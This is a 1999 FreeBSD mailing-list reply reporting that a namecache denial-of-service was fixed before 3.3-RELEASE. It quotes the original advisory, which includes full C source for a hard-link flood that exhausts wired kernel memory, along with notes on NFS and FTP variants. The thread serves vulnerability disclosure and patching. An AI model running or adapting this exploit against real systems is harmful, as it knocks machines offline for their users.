From owner-freebsd-current Mon Sep 27 21:23:12 1999 Delivered-To: freebsd-current@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 416AA15714 for ; Mon, 27 Sep 1999 21:23:10 -0700 (PDT) (envelope-from bright@wintelcom.net) Received: from localhost (bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) with ESMTP id VAA26634; Mon, 27 Sep 1999 21:40:37 -0700 (PDT) Date: Mon, 27 Sep 1999 21:40:37 -0700 (PDT) From: Alfred Perlstein To: Kenneth Culver Cc: freebsd-current@FreeBSD.ORG Subject: Re: just found this In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG this was fixed in the final hours before 3.3-release. http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/kern/vfs_cache.c ---- 1.38.2.3 Thu Sep 16 2:02:15 1999 UTC by alfred CVS Tags: RELENG_3_3_0_RELEASE; Branch: RELENG_3 Diffs to 1.38.2.2 Limit aliases to a vnode in the namecache to a sysctl tunable 'vfs.cache.maxaliases' This protects against a DoS via thousands of hardlinks to a file wiring down all kernel memory. Approved by: jkh ---- -Alfred Perlstein - [bright@rush.net|alfred@freebsd.org] Wintelcom systems administrator and programmer - http://www.wintelcom.net/ [bright@wintelcom.net] On Mon, 27 Sep 1999, Kenneth Culver wrote: > > Check this out, if anyone is intrested. > > I found this on packetstorm.securify.com tonight. Any ideas?? > > [Resending once, since it's been 10.5 days...] > > Here's an interesting denial-of-service attack against FreeBSD >=3.0 > systems. It abuses a flaw in the `new' FreeBSD vfs_cache.c; it has no > way to purge entries unless the `vnode' (e.g. the file) they point to > is removed from memory -- which generally doesn't happen unless a > certain magic number of `vnodes' is in use, and never happens when the > `vnode' (i.e. file) is open. Thus it's possible to chew up an > arbitrary amount of wired kernel memory relatively simply. > > What strikes me as funny about this is that the relevant code in > 4.4BSD-Lite, which was in FreeBSD up through 2.2.8, was *not* > susceptible to such an attack, and all of the code to prevent it was > intentionally removed. > > I ran this on a machine running FreeBSD 3.2-RELEASE with 256MB of RAM, > and it chugged along to about `02/03000' (meaning it created 3 files > and about 63000 or so links), consuming a whopping 34MB of wired > kernel memory (according to `top'), before all file system activity > came to a screeching halt and the machine was unusable. > > This exploit does not affect Linux 2.0.36, or any version of NetBSD. > I have not tested Linux versions >=2.1 (which have a different > implementation of the equivalent code from 2.0.36), but based on code > inspection, I do not believe it to be vulnerable to this particular > attack. > > Note that, although it may seem like setting quotas is a good solution > to this problem, if the FreeBSD system is acting as a NFS client, it's > possible to use a variant of the attack that only creates one file and > keeps at most one link to it at any given time. > > Also note that it may be possible to exercise this against a FTP > server with a writable directory if the server has a way of creating > hard links. (I'm not aware of any that do, but I point this out for > completeness.) > > -----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<----- > #include > #include > #include > > #define NFILE 64 > #define NLINK 30000 > #define NCHAR 245 > > int > main() > { > char junk[NCHAR+1], > dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1]; > int i, j; > struct stat sb; > > memset(junk, 'x', NCHAR); > junk[NCHAR] = '\0'; > for (i = 0; i < NFILE; i++) { > printf("\r%02d/%05d...", i, 0), > fflush(stdout); > sprintf(dir, "%02d-%02d", i, 0); > if (mkdir(dir, 0755) < 0) > fprintf(stderr, "mkdir(%s) failed\n", dir), > exit(1); > sprintf(file1, "%s/%s%03d", dir, junk, 0); > if (creat(file1, 0644) < 0) > fprintf(stderr, "creat(%s) failed\n", file1), > exit(1); > if (stat(file1, &sb) < 0) > fprintf(stderr, "stat(%s) failed\n", file1), > exit(1); > for (j = 1; j < NLINK; j++) { > if ((j % 1000) == 0) { > printf("\r%02d/%05d...", i, j), > fflush(stdout); > sprintf(dir, "%02d-%02d", i, j/1000); > if (mkdir(dir, 0755) < 0) > fprintf(stderr, "mkdir(%s) failed\n", dir), > exit(1); > } > sprintf(file2, "%s/%s%03d", dir, junk, j%1000); > if (link(file1, file2) < 0) > fprintf(stderr, "link(%s,%s) failed\n", file1, file2), > exit(1); > if (stat(file2, &sb) < 0) > fprintf(stderr, "stat(%s) failed\n", file2), > exit(1); > } > } > printf("\rfinished successfully\n"); > } > -----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<----- > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message